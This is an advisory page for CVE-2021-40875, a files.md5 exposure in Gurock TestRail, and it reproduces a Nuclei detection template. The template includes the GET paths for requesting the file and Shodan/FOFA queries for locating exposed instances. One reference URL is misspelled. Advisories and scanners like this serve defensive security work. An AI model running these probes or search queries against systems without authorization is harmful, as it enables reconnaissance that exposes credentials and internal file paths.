CVE-2021-40875: Gurock TestRail Application files.md5 Exposure

2025-08-01 Gurock TestRail Application PoC Public

Description

Improper access control in Gurock TestRail versions < 7.2.0.3014 resulted in sensitive information exposure. A threat actor can access the /files.md5 file on the client side of a Gurock TestRail application, disclosing a full list of application files and the corresponding file paths which can then be tested, and in some cases result in the disclosure of hardcoded credentials, API keys, or other sensitive data.

PoC

id: CVE-2021-40875

info:
  name: Gurock TestRail Application files.md5 Exposure
  author: oscarintherocks
  severity: high
  description: Improper access control in Gurock TestRail versions < 7.2.0.3014 resulted in sensitive information exposure. A threat actor can access the /files.md5 file on the client side of a Gurock TestRail application, disclosing a full list of application files and the corresponding file paths which can then be tested, and in some cases result in the disclosure of hardcoded credentials, API keys, or other sensitive data.
  impact: |
    An attacker could use the exposed files.md5 to gain insight into the application's file structure and potentially identify vulnerabilities or sensitive information.
  remediation: |
    Securely restrict access to the files.md5 file and ensure that it is not accessible to unauthorized users.
  reference:
    - htttps://github.com/SakuraSamuraii/derailed
    - https://johnjhacking.com/blog/cve-2021-40875/
    - https://www.gurock.com/testrail/tour/enterprise-edition
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40875
    - https://github.com/SakuraSamuraii/derailed
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-40875
    cwe-id: CWE-425
    epss-score: 0.48417
    epss-percentile: 0.98802
    cpe: cpe:2.3:a:gurock:testrail:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: gurock
    product: testrail
    shodan-query:
      - http.html:"TestRail"
      - http.html:"testrail"
    fofa-query: body="testrail"
  tags: cve2021,cve,exposure,gurock,testrail,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/files.md5"
      - "{{BaseURL}}/testrail/files.md5"

    stop-at-first-match: true
    max-size: 1000 # Define response size in bytes to read from server.

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "app/arguments/admin"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022049ca3b7deb581ccb1c3582d44d038fbef64a31221b0245a1687e7278e10c1095022100f97dd5cbf3f4e63093e3d33d42c4b1e10f22492a90d5a66ba3eec0a4fd76c051:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-40875.yaml

References

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